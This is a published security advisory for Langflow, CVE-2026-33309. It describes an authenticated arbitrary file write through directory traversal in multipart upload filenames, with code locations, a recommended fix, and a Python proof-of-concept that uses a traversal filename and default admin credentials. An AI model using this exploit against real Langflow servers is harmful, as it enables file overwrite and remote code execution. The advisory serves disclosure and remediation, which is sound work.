Langflow has an Arbitrary File Write (RCE) via v2 API

### Summary While reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). ### Details The vulnerability exists in two layers: 1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters. 2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check. **Recommended Fix:** 1. Sanitize the multipart filename before processing: ```python from pathlib import Path as StdPath new_filename = StdPath(file.filename or "").name # Strips directory traversal characters if not new_filename or ".." in new_filename: raise HTTPException(status_code=400, detail="Invalid file name") ``` 2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class. ### PoC This Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user's UUID storage directory. ```python import requests BASE_URL = "http://localhost:7860" # Authenticate to get a valid JWT token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"] # Payload using directory traversal in the multipart filename TRAVERSAL_FILENAME = "../../traversal_proof.txt" SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY" resp = requests.post( f"{BASE_URL}/api/v2/files/", headers={"Authorization": f"Bearer {token}"}, files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")}, ) print(f"Status: {resp.status_code}") # Returns 201 # The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt` ``` Server Logs: ``` 2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. 2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. ``` Docker cntainer file: ``` user@40416f6848f2:~/.cache/langflow$ ls 3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt ``` ### Impact Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-22, CWE-284, CWE-73, CWE-94

Also known as

CVE-2026-33309, PYSEC-2026-79

• github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c
• nvd.nist.gov/vuln/detail/CVE-2026-33309
• github.com/langflow-ai/langflow
• github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-79.yaml